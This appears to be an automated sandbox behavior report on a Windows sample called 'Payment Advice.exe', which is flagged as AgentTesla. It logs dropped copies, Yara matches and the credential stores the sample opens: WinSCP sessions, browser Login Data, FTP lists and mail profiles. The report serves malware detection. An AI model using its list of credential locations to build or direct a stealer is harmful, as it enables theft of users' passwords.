Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Users\user\Desktop\Payment Advice.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Payment Advice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Payment Advice.exe.4c84a08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3ce4260.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c497e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BjTxJte.exe.41c5ac8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c84a08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3d1f480.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3d1f480.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BjTxJte.exe.41c5ac8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3ce4260.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 4092, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Payment Advice.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Payment Advice.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.Payment Advice.exe.4c84a08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3ce4260.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c497e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BjTxJte.exe.41c5ac8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c84a08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3d1f480.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3d1f480.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BjTxJte.exe.41c5ac8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3ce4260.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 4092, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Payment Advice.exe.4c84a08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3ce4260.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c497e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BjTxJte.exe.41c5ac8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c84a08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3d1f480.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3d1f480.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.BjTxJte.exe.41c5ac8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BjTxJte.exe.3ce4260.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
